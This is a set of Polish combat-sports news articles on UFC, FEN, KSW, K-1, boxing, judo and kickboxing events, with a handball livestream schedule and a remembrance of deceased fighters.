Apetyt rośnie w miarę jedzenia – nie inaczej było w tym przypadku. Held odważnie zaczął drugą odsłonę, ale Sanchez szybko przejął inicjatywę. Nie zrobił nic zaskakującego, lecz kontrolował przebieg walki. Nie pozwolił Heldowi na zbyt wiele, choć ten dwoił się i troił. Tym razem doświadczenie wzięło górę. 

Co ciekawe, rok temu Polak walczył o tytuł w organizacji Belltor i przegrał z Willem Brooksem. Walka miała miejsce 6 listopada, a debiut w UFC przypadł na… 5 listopada. 

Wyciągnąć wnioski

Było trochę o karierze Sancheza i jego początkach w UFC, więc teraz należy pochylić się nad Heldem. 24-latek przygodę z Bellatorem rozpoczął w 2011 roku. W ćwierćfinale turnieju wagi lekkiej przegrał z Michaelem Chandlerem. Kolejne występy kończyły się triumfami Helda, który wyrobił sobie markę w Bellatorze. W 2013 roku był w finalistą turnieju wagi lekkiej, a rok później okazał się najlepszy.

Warto zatrzymać się przy pojedynku z Chandlerem. Nie da się ukryć, że adaptacja do nowej rzeczywistości bywa trudna. Chodzi o pewne wyczucie, adaptację i wypracowanie mechanizmów pozwalających poczuć się pewnie. Ich brak wiąże się z pewnymi obawami, niepokojem.

Mówi się „pierwsze śliwki robaczywki” – coś w tym jest. Minęło ponad pięć lat i w przypadku Helda mamy swoistą powtórkę. Z pewnością wejście do Bellatora i UFC miało wyglądać inaczej. Nie należy się martwić. Held w debiucie w UFC pokazał, że ma spory potencjał i co najważniejsze – chce rywalizować. 

Patrząc na rozwój jego kariery w Bellatorze można być optymistą. Tam doszedł do walki o tytuł mistrzowski. A więc co? Trzeba czekać aż jego talent eksploduje również w UFC.

Fot. sherdog.com

KM

Nowe miejsce i termin gali FEN 15!

Sensacyjny zwrot akcji! Wbrew wcześniejszym zapowiedziom, najbliższa gala Fight Exclusive Night nie odbędzie się w marcu na warszawskim Torwarze. „Na FEN 15 Final Strike zapraszamy kibiców już 14 stycznia do Lubina!” – informuje prezes organizacji Paweł Jóźwiak. Wydarzeniem gali  w hali RCS będą aż dwie walki o pasy mistrzowskie federacji FEN.

Zmiana w przyszłorocznym terminarzu Fight Exclusive Night to spore zaskoczenie. Skąd ta niespodziewana decyzja? „W 2016 roku narzuciliśmy sobie ostre tempo, organizując aż pięć gal. Dlatego jeszcze przed FEN 14 Silesian Rage uznaliśmy, że przyda nam się dłuższa przerwa przed kolejną imprezą – wyjaśnia Paweł Jóźwiak. – Kiedy jednak opadły emocje po gali w katowickim Spodku i daliśmy sobie trochę wolnego na zregenerowanie sił, doszliśmy do wniosku, że wcale nie potrzebujemy aż tyle czasu. Szczególnie że kibice codziennie pytali nas, czy naprawdę będą musieli tak długo czekać na kolejną galę. Zmieniliśmy nasze plany przede wszystkim dla nich, ale także dla siebie, bo od organizowania gal jesteśmy już chyba uzależnieni” – dodaje prezes FEN.

Styczniowe gale FEN w lubińskiej hali RCS powoli stają się tradycją. Federacja Fight Exclusive Night gościła tu już dwa razy, organizując widowiskowe, stojące na wysokim poziomie sportowym gale FEN 5 Cuprum Heroes w ubiegłym roku i jubileuszową FEN 10 Gold Edition na początku tego roku. „Obie gale zgromadziły na trybunach komplet kibiców, którzy zrobili fantastyczną atmosferę w hali, więc spodziewamy się, że podobnie będzie za dwa miesiące. Zwłaszcza że w klatkoringu walczyć będzie wielu znakomitych zawodników z Lubina i całego Dolnego Śląska” – mówi Paweł Jóźwiak.

Najważniejszymi wydarzeniami gali FEN 15 Final Strike będą dwa pojedynki o pasy mistrzowskie w formule K-1. W walce wieczoru o pas w kategorii do 77 kg walczyć będą niepokonani w klatkoringu FEN legniczanin Paweł Biszczak, mistrz świata K-1 z 2014 roku oraz wielokrotny mistrz Polski w karate kyokushin i kickboxingu, i Wojciech Wierzbicki ze Zgorzelca, mistrz Europy w K-1 z 2014 roku, który tymczasowy pas mistrzowski zdobył na gali FEN 12 Go For it we Wrocławiu, pokonując Belga Zakarię Baitara. O tytuł mistrzowski w Lubinie walczyć będzie także największa kobieca gwiazda federacji FEN – wrocławianka Róża Gumienna, która w 2013 roku zdobyła tytuł mistrzyni świata WAKO i Puchar Świata w formule low-kick, a rok później Puchar Świata w K-1.

Na FEN 15 Final Strike wystąpią również inni mocni zawodnicy z Dolnego Śląska, wśród nich niedawni pretendenci do pasa Marcin Zontek z Kamiennej Góry i wrocławianin Michał Michalski oraz reprezentujący Lubin Paweł Kordylewicz i Michał Miłek. W fight cardzie gali znalazły się też starcia z udziałem Adama Golonkiewicza i Mateusza Głąba.

Federacja FEN zapewnia, że przygotowania do zapowiedzianej już w październiku wiosennej gali w Warszawie idą zgodnie z planem. „Poza numerem gali nie zmienia się nic – mówi prezes Jóźwiak. – Gala na stołecznym Torwarze odbędzie się 11 marca, a wystąpią na niej między innymi mistrzowie organizacji FEN, Francuz Davy Gallon i Przemysław Mysiala, były zawodnik UFC Paweł Pawlak oraz Paweł Żelazowski, który w klatkoringu FEN stoczył dwie efektowne, zwycięskie walki”.

Sprzedaż biletów na styczniową galę FEN 15 Final Strike w Lubinie rozpocznie się już jutro – będzie je można kupić w serwisach Eventim.pl oraz KupBilet.pl.

FEN

Pudzianowski i Popek – walka czy pokazówka?

Walka na którą wszyscy czekają tuż tuż. Zostały ostatnie miesiące na przygotowania i ostatnie doszkalanie technik. To już 3 grudnia bieżącego roku odbędzie się walka która budzi tak wiele kontrowersji oraz szumu medialnego. W grudniu zmierzą się ze sobą dwaj zawodnicy w Krakowie na TAURON Arenie. Mowa tu oczywiście o zawodnikach takich jak Mariusz "Pudzian" Pudzianowski oraz Paweł "Popek" Rak. To właśnie między nimi odbędzie się walka wieczoru podczas gali KSW 37. Pudzian to wielu osobom postać znana. Były strongemn z kilkoma tytułami mistrzowskimi. Od paru lat jest to pełnoprawny i profesjonalny zawodnik MMA. Popek to natomiast znany raper oraz były zawodnik MMA. Obie osoby można określić mianem celebrytów oraz osób zdecydowanie publicznych i rozpoznawalnych.

 

Rapper Popek i MMA

Paweł "Popek" Rak to bardzo znany polski raper z wieloma sukcesami na swoim koncie. Jego wideoklipy osiągają po parędziesiąt milionów wejść i to w zaledwie kilka tygodni od premiery. Popek Monster nie jest jednak raperem któremu nagle się zamarzyło by zostać fighterem. Popek ma na swoim koncie trzy profesjonalne walki. Jednak ostatnia miała miejsce aż w 2008 roku. Tak długa przerwa w walkach była spowodowana zakazem jaki został nałożony na Pawła po jego ostatniej walce. Kibice Popka zaczęli wszczynać bójki po jego przegranej. Po tym incydencie dostał on zakaz odbywania profesjonalnych walk w Anglii. Nie mógł także wrócić do Polski ponieważ ścigany był listem gończym. Od niedawana jednak sprawa uległa przedawnieniu i raper oraz były zawodnik może legalnie przebywać na terenie Polski. Rekord Popka to aktualnie 3 rozegrane walki z czego jedna to przegrana.

Najsilniejszy człowiek w MMA

Mariusz "Pudzian" Pudzianowski to z kolei sportowiec pełną parą. Wieloletni mistrz świata w zawodach strongmen a aktualnie zawodnik MMA który nieustannie trenuje i stara się dbać o swoją kondycję. Niestety dwie ostatnie walki dla Pudziana okazały się tymi przegranymi. Walka z Pawłem Rakiem może być dla niego tą decydującą. Gdyby Pudzian przegrał trzecią walkę z rzędu to byłaby to dla niego bardzo duża porażką. Jednak wygrana sprawiłaby, że mógłby on znów wrócić na właściwe tory i być może za parę lat powalczyć o pas KSW.

KSW 37 online – prawdziwa walka czy tylko show?

Wiele osób uważa iż tegoroczna walka na KSW 37 online pomiędzy Popkiem i Pudzianem to tylko ustawione show które nie ma nic wspólnego ze sportem. Jak wiadomo w grę wchodzą na prawdę duże pieniądze. Masa osób wykupi dostęp do pay per view tylko i wyłącznie dla Popka i to nie ulega wątpliwości. Jednak czy organizatorzy KSW ryzykowaliby aż tak wiele ustawiając walkę? No i czy sami zawodnicy by się na to zgodzili. Moim zdaniem brzmi to trochę nieprawdopodobnie by Pudzianowski mógł przyjąć na przykład milion złotych za to by poddać walkę z Popkiem. Według mojego rozeznania to będzie to zwykła walka podchodząca trochę pod freak fight. Ściągnie bardzo dużą uwagę oraz masę przypadkowych osób. Jednak może to wyjść na dobre całemu KSW.

Jeśli nie wiesz gdzie można obejrzeć KSW 37 online, to polecamy zapoznać się z podlinkowanym artykułem.

Paczuski wybiera się do Bośni

Radosław Paczuski będzie miał okazję zaprezentować światu swój potencjał. Dobre występy Polaka nie uszły uwadze organizacji K-1 Global, która postanowiła włączyć go do turnieju do 85kg. Zawodnika Quniq Fight Club Warszawa zobaczymy w akcji 3 grudnia w Tuzli w Bośni i Hercegowinie.

Paczuski jest jednym z najlepszych polskich zawodników K-1, co potwierdza w kolejnych występach. Jego walki są niezwykle efektowne, dzięki czemu zyskał ogromną sympatię kibiców. Teraz znalazł się pod lupą K-1 i będzie miał okazję zmierzyć się z czołowymi zawodnikami globu.

Gwiazda rośnie jak na drożdżach

Obserwując Radosława Paczuskiego można dojść do jednego wniosku: ma wszystko to, czego potrzeba, aby osiągnąć sukces. 23-letni fighter nie próżnuje i toczy kolejne walki. Można go podziwiać podczas występów zawodowych m.in. na galach DSF. W swojej karierze stoczył już ponad 100 walk, z których zdecydowana większość kończyła się jego triumfem.

Mimo młodego wieku, Paczuski zapisał na swoim koncie wiele tytułów. Zdobywał medale podczas mistrzostw Polski w kickboxingu oraz muay thai. Paczuski prezentował się udanie na europejskiej arenie. W 2014 roku zdobył srebro podczas mistrzostw Europy muay thai IFMA. Rywalizował także na galach takich organizacji jak King of Kings, MFC czy DSF, której posiada pas mistrzowski w formule K-1 w kategorii do 81kg.

W tym roku należy odnotować zdobycie przez Polaka mistrzostwa świata K-1 Global w Atenach. Przeciwnicy nie mieli żadnych szans. Paczuski zdominował całkowicie rywali i wygrał dwie walki przez nokaut. W zakończonych niedawno mistrzostwach Europy, które odbyły się w Mariobrze 23-latek w formule low kick sięgnął po srebrny medal.

Dobrymi występami Paczuski zwrócił na siebie uwagę. 3 grudnia Polaka zobaczymy w turnieju 85 kg w Tuzli. Dla Paczuskiego to szansa, aby wypromować nazwisko i pokazać, że polski kickboxing ma ogromną siłę rażenia. W październiku na gali w Belgradzie miał wystąpić Tomasz Sarara, jednak wyeliminowała go kontuzja. Okazuje się, że polskim kibicom szybko zostanie to wynagrodzone. Wszyscy będą ściskać kciuki za Paczuskiego!

Organizacja K-1, czyli kolos na glinianych nogach?

Słów kilka o początkach organizacji K-1 pozwoli zrozumieć nam jej charakter i prestiż. Warto nadmienić, że nie są obce jej kłopoty, z którymi zmaga się od kilku lat, jednak nadal stanowi potężną markę. W związku z tym zaproszenie na galę w Bośni dla Paczuskiego należy rozpatrywać jako sukces i docenienie dotychczasowych występów.

Organizacja K-1 powstała w 1993 roku w Japonii, jej „ojcem” był Kazuyoshi Ishii. Z turniejów na szczeblu regionalnym wyłaniano finalistów corocznego K-1 World Grand Prix. Organizacja zyskała popularność i renomę. Pierwszym triumfatorem Grand Prix, które odbyło się w Tokio został Branko Cikatić. Chorwat za zwycięstwo zainkasował 100 tysięcy dolarów. Rok później triumfował Peter Aerts. Na galach organizacji K-1 rodziły się wielkie gwiazdy, które wielbiły tłumy. Jednak z czasem pojawiły się problemy. W 2011 roku działalność K-1 została tymczasowo zawieszona, co tłumaczono koniecznością przeprowadzenia restrukturyzacji organizacji. Wspominano także o rozwoju oraz poszukiwaniu nowych inwestorów. W 2012 roku organizacja trafiła w ręce Mike'a Kima. Pojawiły się nadzieje na lepsze czasy, ale sprawa K-1 jest nadal niezwykle skomplikowana. Rzecz jasna chodzi o pieniądze. W minionych latach dochodziło do sytuacji, w których organizacja nie płaciła zawodnikom za występy. Do jej „drzwi” pukali kolejni chcący odzyskać swoje należności.

K-1 stara się wiązać koniec z końcem i nadal utrzymywać pozycję silnej marki. Z pewnością tradycja przemawia za organizacją z japońskimi korzeniami. Kolejne gale, świetni zawodnicy – to mówi samo za siebie. Warto wspomnieć o epizodzie belgradzkim. O co chodzi? 27 października odbyła się gala K-1 World Grand Prix Europe w Serbii. Mike'a Kima postanowili odwiedzić Orsat Zovko, Mirko Filipović i Dzevad Poturak. 

Nie da się ukryć, że K-1 Global jest rozpoznawalną marką. Kłopoty nieco zachwiały jej pozycją, ale nadal dla wielu zawodników stanowi występ na galach wspomnianej organizacji to spełnienie marzeń.

KM

Temperatura idzie w górę

Ruszyło odliczanie do gali Angels of Glory in Kings Town – II edycja, która odbędzie się już 5 listopada w Sandomierzu. W walce wieczoru w K-1 wystąpią Wojciech Kosowski i Dominik Zadora. Transmisję z gali przeprowadzi telewizja FighTime. Zapraszamy! 

W czerwcu w Kielcach organizacja UCA dała pierwszą próbkę swoich możliwości. Podczas gali zaprezentowało się wielu klasowych kickboxerów. W Sandomierzu UCA chce pójść za ciosem. 5 listopada o godz. 19.30 w hali Miejskiego Ośrodka Sportu i Rekreacji przy ul. Aleksandra Patkowskiego 2A odbędzie się 10 ekscytujących pojedynków w K-1 oraz jeden bokserski.

Gotowi na wielkie emocje

Organizatorzy z niecierpliwością czekają na rozpoczęcie gali. – Już wszystko gotowe. Należy szykować się na wielkie widowisko. Na gali w Sandomierzu wystąpią klasowi zawodnicy, którzy prezentują wysokie umiejętności – mówi FighTime.pl Grzegorz Wrzesień, prezes UCA.

W walce wieczoru zaprezentuje się Wojciech Kosowski (75kg), który w Kielcach w trzeciej rundzie wygrał z Karolem Siwonią. Teraz rywalem reprezentanta warszawskiej Palestry będzie Dominik Zadora. – Zapowiada się interesujące starcie. Duch wojownika obecny jest w Dominiku. Ze strony jego obozu padły słowa, że chce zmierzyć się z Kosowskim. Będzie szansa, żeby przekonać się o tym, kto jest lepszy – przedstawia Wrzesień.

Organizatorzy wiele obiecują sobie po starciu Huberta Ulikowskiego z Krzysztofem Olszewskim w kategorii 60kg. Po raz kolejny na gali Angels of Glory zaprezentuje się Aneta Kopeć (56kg). – Ulikowski i Olszewski mieli szansę walczyć ze sobą podczas mistrzostw Polski. Lepszy okazał się wtedy zawodnik Palestry. Ulikowski był w Tajlandii, gdzie podnosił swoje umiejętności. Z pewnością będzie chciał wziąć rewanż – tłumaczy Wrzesień. – Po raz kolejny daję szansę Anecie Kopeć, która w Kielcach przegrała z Iwoną Nierodą, ale pokazała się z dobrej strony. Ma duży potencjał. Teraz czeka ją trudna walka z Joanną Różańską. Mogę powiedzieć, że ta, która wygra weźmie udział w kolejnej gali na Słowacji. Obie wywalczyły brązowe medale podczas mistrzostw Polski, nie miały okazji spotkać się po drodze – dodaje. 

W Sandomierzu dojdzie do pojedynków: Adriana Ahmada z Dusanem Gregą, Adama Gielaty z Miroslavem Smolarem, z kolei Marta Waliczek podejmie Martę Gusztab, a Michał Królik zmierzy się z Lukasem Mandinecem. Podczas gali zaprezentują się również: Jarosław Daschke, Iwona Nieroda, Daniel Kolasiński oraz Michał Turyński.

Plany już są

W karcie walk roi się od mocnych nazwisk. Iwona Nieroda zdobywała medale na najważniejszych imprezach. Podczas ostatnich mistrzostw Europy w Mariborze sięgnęła po srebro. Na Słowenii do finału dotarł również Michał Królik, który musiał uznać wyższość fightera z Rosji. Z kolei Michał Turyński to mistrz świata WAKO PRO z Sarajewa. – W karcie walk znalazła się elita K-1. Muszę stawać na wysokości zadania i ściągać najlepszych zawodników z Europy. To gwarancja jakości –  zaznacza prezes UCA.

Przed nami gala w Sandomierzu, a po niej oczekiwanie na kolejne wydarzenie. Już w grudniu w Bardejovie na Słowacji odbędzie się następna odsłona zmagań pod sztandarem UCA. Jak udało nam się ustalić, w walce wieczoru o pas zawodowego międzynarodowego mistrza Słowacji wystąpi Arkadiusz Kaszuba. 

KM

LIVE: Men’s U20 Friendly Tournament

Telewizja BeOnlajn zaprasza na transmisję telewizyjną na żywo z Międzynarodowego Turnieju w Piłce Ręcznej, w której udział wezmą reprezentacje Polski, Szwecji, Norwegii i Słowacji.

PLAN TRANSMISJI:

Piątek (04.11) godz. 16.00 mecz Szwecja vs Słowacja

Piątek (04.11) godz. 18.00 mecz Polska vs Słowacja

Niedziela (06.11) godz. 10.00 mecz Norwegia vs Słowacja

Niedziela (06.11) godz. 12.00 mecz Polska vs Szwecja

UWAGA: Sobotnie mecze nie będą transmitowane.

[kod]

International Youth Handball Tournament

International Youth Handball Tournament

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/ZPRP_Chorzow.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/ZPRP_Chorzow.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/ZPRP_Chorzow.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/ZPRP_Chorzow.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Senator wraca na ring

Manny Pacquiao zrezygnował ze sportowej emerytury i postanowił wrócić na ring. Już 5 listopada w Thomas & Mack Center w Las Vegas zmierzy się z Jessie Vargasem. Stawką pojedynku będzie mistrzostwo świata WBO w wadze półśredniej.

Powszechnie wiadomo, że 37-latek aktywnie działa na rzecz Filipin. Z senackim mandatem może w pełni zaangażować się w pracę na rzecz dobra wspólnego. W kwietniu postanowił pożegnać się z boksem i w całości oddać się polityce, jednak po kilku miesiącach zweryfikował plany.

Jeszcze mu mało?

Człowiekowi głodnemu trudniej skupić się na pracy i perfekcyjnie wykonać obowiązki. Wystarczy, że niczym bajkowy Kubuś Puchatek napełnić swój brzuszek i sprawa wygląda zupełnie inaczej. Uśmiech na twarzy, gotowość do działania i niespożyty zapas energii. Czy w takich kategoriach należy rozpatrywać Pacquiao? Jeszcze kilka miesięcy temu pisano peany o jego ringowych osiągnięciach, wspaniałych walkach i zdobytych tytułach. Ktoś napomknął, że nie wytrzyma i wróci. W myśl zasady „ciągnie wilka do lasu”.

„Pacman” zdobywał tytuły w ośmiu kategoriach wagowych – od muszej do lekkośredniej. Przez 21 lat zawodowej kariery stoczył ponad 60 pojedynków. Pacquaio toczył wspaniałe walki z ikonami boksu m.in Oscarem de la Hoyą, Miguelem Cotto czy Antonio Margarito. W kwietniu 37-latek po raz trzeci w karierze spotkał się z Timothy'm Bradleyem. Filipińczyk wygrał drugą walkę z Amerykaninem i powiedział: stop.

Polityka go pociągała, ale nie wciągnęła tak jak boks. Podjął decyzję o powrocie, który ma być wstępem do kolejnych walk. Pacuqiao połączy garnitur i rękawice. Co z tego wyjdzie? Przekonamy się już 5 listopada, ale porażka może oznaczać definitywny koniec. W takich przypadkach często mówi się, że powracający stawia na szali cały swój dorobek. 

Idzie młodość

Jessie Vargas to najbliższy rywal Pacuqiao. Dzieli ich 10 lat różnicy i przepaść w ringowym doświadczeniu. 27-latek wie jak smakuje sukces, bo jest posiadaczem pasa mistrzowskiego WBO w wadze półśredniej. Wcześniej zdobył także tytuł mistrzowski WBA w kategorii superlekkiej. Vargas zdecydował się na rywalizację w wyższej wadze, co niosło ze sobą określone konsekwencje. 

Do tej pory Amerykanin przegrał tylko raz. W ubiegłym roku przegrał z Timothy'm Bradley'em Jr. Łącznie stoczył 27 pojedynków, z których 10 wygrał przed czasem. W zestawieniu z Pacquiao jego dorobek wygląda nader skromnie.

5 listopada Vargas stanie przed najtrudniejszym wyzwaniem w swojej karierze. Ma pas, pokazał już potencjał i nic nie ryzykuje. Porażka nie przekreśli jego dalszej kariery, zwycięstwo pozwoli mu na sportowy awans. A Pacquiao? Filipińczyk musi myśleć tylko o wygranej, bo porażka zepchnie go w bokserską nicość. Triumf w pojedynku z Vargasem ma być dla „Pacmana” przepustką do rywalizacja z Terence'm Crawfordem, czempionem WBO i WBC. 

KM

Pusto w Abu Dhabi

Zero po stronie zdobyczy polskich judoków w zawodach Grand Slam w Abu Dhabi. Najlepsi w klasyfikacji medalowej okazali się Francuzi.

O krok od podium była Karolina Pieńkowska (52kg), która ostatecznie uplasowała się na piątej pozycji. Na punktowanych miejscach znalazły się także występujące w kategorii 63kg Agata Ozdoba i Karolina Tałach.

Walczyła o brąz, lepsza Brazylijka

Ostatnie miesiące w wykonaniu Karoliny Pieńkowskiej były udane. 23-letnia judoczka w Zagrzebiu wygrała zawody rangi Grand Prix, wcześniej była trzecia w Budapeszcie. Rok temu Pieńkowska również startowała w Abu Dhabi i wywalczyła piąte miejsce. Minęło dwanaście miesięcy i powtórzyła wynik. Zmagania w Abu Dhabi zaczęła od rywalizacji z Tiheą Topolovec. Polka punktowała dwa razy dzięki yuko. W kolejnym starciu wicemistrzyni Polski stoczyła zacięty bój z trzecią zawodniczką mistrzostw Europy juniorek Astride Gneto. Francuzka triumfowała, ale tylko dzięki karze shido na koncie Pieńkowskiej. O brąz 23-latce przyszło mierzyć się z Jessicą Pereirą. Brazylijka wygrała przez ippon i po raz pierwszy w karierze stanęła na podium zawodów rangi Grand Slam.

Przez poważną kontuzję kolana odniesioną w ubiegłym roku, Agata Ozdoba (63kg) straciła część sezonu. Wróciła na kwietniowe mistrzostwa Europy w Kazaniu, gdzie drużyna kobiet wywalczyła złoto. Indywidualnie Polka jeszcze nie stanęła na podium. W ostatnich startach 28-latka prezentuje się coraz lepiej. Blisko podium była w Zagrzebiu, z kolei w Abu Dhabi wywalczyła siódme miejsce. Ozdoba pokonała Larę Reimann, jednak kolejne dwa pojedynki przegrała przez ippon.

Siódma w Abu Dhabi była również Karolina Tałach (63kg), która ostatnie dwa występy kończyła na podium. W Emiratach marzenia o sukcesie wybiły jej z głowy Brazylijki: Mariana Silva i Ketleyn Quadros.

O swoich występach w Abu Dhabi jak najszybciej będą chcieli zapomnieć Michał Bartusik (66kg), Jakub Kubieniec (81kg) i Piotr Kuczera (90kg). Wszyscy odpadli z rywalizacji już po pierwszej walce.

Mocna Francja

Aż osiem brązowych medali zapisali na swoim koncie judocy z Brazylii. Wynik ten jest o tyle ważny, że Francuzi, którzy triumfowali w klasyfikacji medalowej zapisali na swoim koncie tylko… sześć krążków, ale trzy z najcenniejszego kruszcu. Co ciekawe, zdobycz ta jest udziałem kobiet. Po złote medale dla Francji sięgnęły: Astride Gneto (52kg), Helene Receveaux (57kg) oraz Eve Marie Gahie (70kg).

Drugie miejsce w klasyfikacji medalowej dla Holandii (dwa złota i brąz), a trzeci dla obłowionej Brazylii (złoto, cztery srebra i osiem brązów).

W Abu Dhabi wystartowało 155 zawodników.

KM

Pamiętamy o tych, którzy odeszli

Dzień Wszystkich Świętych to okazja do pogłębionej refleksji. Zgłębiamy tajemnicę życia, ale i śmierci. Często musimy się z nią godzić. Przychodzi niespostrzeżenie, niesłychanie i rodzi ból. W ciągu ostatnich dwunastu miesięcy świat sportów walki żegnał wiele zasłużonych postaci.

Dzień za dniem, tydzień za tygodniem, mijają miesiące i przychodzi chwila, w której wszyscy się zatrzymujemy. Żegnamy bliskich, przyjaciół, znajomych i sami podejmujemy refleksję nad własną drogą. Chcemy, aby nasze życie było jak najbardziej owocne. 1 listopada wspominamy tych, których już z nami nie ma.

W ciągu ostatnich dwunastu miesięcy…

Świat sportów walki żegnał wiele wybitnych postaci. Śmierć nie patrzy na wiek, dorobek i gotowość do podejmowania kolejnych wyzwań. Przychodzi i zabiera, a nam zostawia ból, żal i smutek. Często trudno nam pogodzić się z utratą bliskich, ale fundamentalna jest pamięć, która trwa i trwać będzie. 

W październiku wszystkich zaskoczyła śmierć Grzegorza Pieronkiewicza. Odszedł zaledwie w wieku 41 lat. Swoje życie w całości poświęcił zapasom. Najpierw był czynnym zawodnikiem i reprezentował barwy takich klubów jak GKS Katowice i KS Unia Racibórz. Do największych sukcesów Pieronkiewicza należy zaliczyć trzykrotne wywalczenie wicemistrzostwa Polski seniorów oraz międzynarodowego wicemistrzostwa Polski seniorów. Od 2012 roku był prezesem Polskiego Związku Zapaśniczego.

Cały świat znał Muhammada Aliego i podziwiał jego walki, zarówno te ringowe jak i zmagania z chorobą. Zacięty bój toczył od 32 lat. Choroba Parkinsona doświadczyła Aliego, który zmarł w wieku 74 lat. Pozostawił po sobie wiele pięknych ringowych bojów. Ali na swoim koncie zapisał złoto igrzysk olimpijskich w Rzymie. Trzykrotnie zdobył tytuł mistrza świata wszech wagi. Ponad 30 pojedynków na zawodowym ringu wygrał przez nokaut.

W wieku 70 lat zmarł wybitny polski bokser Wiesław Rudkowski. Urodzony w Łodzi pięściarz wystąpił na igrzyskach w Meksyku w 1968 roku oraz w Monachium w 1972 roku, gdzie sięgnął po srebrny medal w wadze lekkośredniej. Wywalczył także trzy krążki mistrzostw Europy, w tym złoto w 1975 w Katowicach. 

W kwietniu odszedł Henryk Średnicki. Miał 61 lat. Średnicki to jedyny polski mistrz świata w wadze muszej. Tytuł wywalczył w 1978 roku w Belgradzie. Zdobywał również złote medale mistrzostw Europy.

Hubert Cysdorf zmarł w wieku 72 lat. Związany był z judo. Przez lata trenował w takich klubach jak: Polonia Bydgoszcz, LZS Szubinianka Szubin i KU AZS UKW Bydgoszcz. Niespełna 54 lat miał Piotr Pożyczka, trener boksu zawodowego.

Ring opuszczał na noszach, zmarł w szpitalu. Mike Towell miał zaledwie 25 lat. Przyczyną śmierci były poważne obrażenia odniesione podczas walki, którą sędzia przerwał w piątej rundzie. Kevin „Kimbo Slice" Ferguson był znany z występów w MMA. Rosły zawodnik zmarł w wieku 42 lat w wyniku nagłego ataku serca. 

Najpierw zapasy, a potem MMA – taką drogę przebył Kevin Randleman. Amerykanin występował w takich organizacjach jak PRIDE i UFC. Zmarł w wieku zaledwie 44 lat.

Pamiętamy!

Cały czas pamiętamy o dokonaniach Józefa Warchoła, który zdobywał najwyższe laury w kickboxingu. Odszedł w 2015 roku w wieku 51 lat. Po raz kolejny wspominamy również wspaniałego dziennikarza sportowego Bogdana Chruścickiego oraz mistrza słowa Bohdana Tomaszewskiego. Pamiętamy również o dwukrotnym mistrzu olimpijskim w judo Hitoshim Saito. 

Cztery lata temu żegnaliśmy Jerzego Kuleja. Cały czas pobrzmiewa nam jego profesjonalny komentarz podczas walk bokserskich. Wracamy wspomnieniami do jego osiągnięć, wśród których należy wymienić dwukrotne wywalczenie mistrzostwa olimpijskiego. W 2014 roku odszedł również inny wybitny przedstawiciel boksu Zbigniew Pietrzykowski. 

W dzień Wszystkich Świętych oddajemy chwałę tym, którzy kształtowali świat sportów walki. Pamiętamy i chcemy czerpać z ich dorobku. Ich dokonania na zawsze zapisały się na kartach historii. 

KM

Medalowa mieszanka

Potężni Rosjanie, waleczni zawodnicy z Bałkanów i zawsze trzymający wysoki poziom Polacy – tak należy streścić mistrzostwa Europy, które odbyły się w Mariborze. Biało-czerwoni wywalczyli łącznie 20 medali w formułach light contact, low kick oraz K-1.

Z pewnością zdobycz Polaków mogła być nieco większa. Kilku biało-czerwonych było o krok od podium tak jak Łukasz Wichowski, Wojciech Wiśniewski czy Piotr Owczarzak. Niektórzy z naszych faworytów musieli zadowolić się „tylko” srebrnymi medalami m.in. Iwona Nieroda. Jednak po raz kolejny uzyskaliśmy potwierdzenie, że kickboxing w polskim wydaniu ma się dobrze.

Złota posypały się w K-1

Mamy mistrzów Europy! – to najważniejsza wiadomość. Niezawodny Dawid Kasperski (na zdjęciu z lewej po jednej z wygranych walk zawodowych) wraca z Mariboru w wyśmienitym nastroju. Zawodnik Punchera Wrocław (86kg) odprawiał kolejnych rywali. Również Vitalii Korchak okazał się bezsilny wobec potencjału Kasperskiego. Mateusz Pluta (91kg) w półfinale pokonał gwiazdę mołdawskiego kickboxingu Pavla Voronina. Na dokładkę wygrał finał z Igorem Darmeshkinem i sięgnął po tytuł mistrza Europy. Wśród czempionów znalazła się również Małgorzata Dymus (52kg), która w decydującym boju odprawiła Czeszkę Sandrę Maskovą. Złoto na swoim koncie zapisała także Paulina Bieć (70kg). 

Michał Królik w półfinale odprawił Rusłana Musayeva z Azerbejdżanu, jednak w finale trudne warunki postawił mu Timur Nadrov i to Rosjanin cieszył się z wygranej. Tytuł wicemistrzyni Starego Kontynentu przypadł Róży Gumiennej (65kg). Niewiele do wejścia do finału zabrakło Arkadiuszowi Kaszubie (81kg). Polak sięgnął po brązowy medal. Taki sam rezultat jak Kaszuba osiągnęły: Monika Markowska (52kg) i Natalia Nikołajczuk (70kg). 

Nieroda o krok od złota

„Do dobrego człowiek się przyzwyczaja”. Iwona Nieroda nie raz potwierdziła klasę zdobywając tytuły mistrzowskie i tocząc imponujące walki zawodowe. Na Słowenii walczyła o złoto. Z występem Nierody (56kg) w low kicku wiązaliśmy ogromne nadzieje, jednak tym razem się nie udało. Reprezentantka Diamentu Pstrągowa  zdobyła „tylko” srebro. Lepsza od Polki okazała się Oksana Shchetinina. Liczyliśmy również na złoto Radosława Paczuskiego (81kg), który wygrywał kolejne walki, jednak w finale musiał uznać wyższość rywala. Tytuł mistrza Europy wywalczył Nikola Stosic.

Jednak w wyśmienity nastrój w low kicku fanów wprawił Kamil Ruta (86kg). Ciężki półfinałowy bój z Mensurem Muriciem zakończył się sukcesem Polaka. Zawodnik MKS Wicher Kobyłka pokazał ogromny potencjał i potwierdził umiejętności. W finale poszedł za ciosem i pokonał Lukę Simicia. Polak sięgnął po złoto!

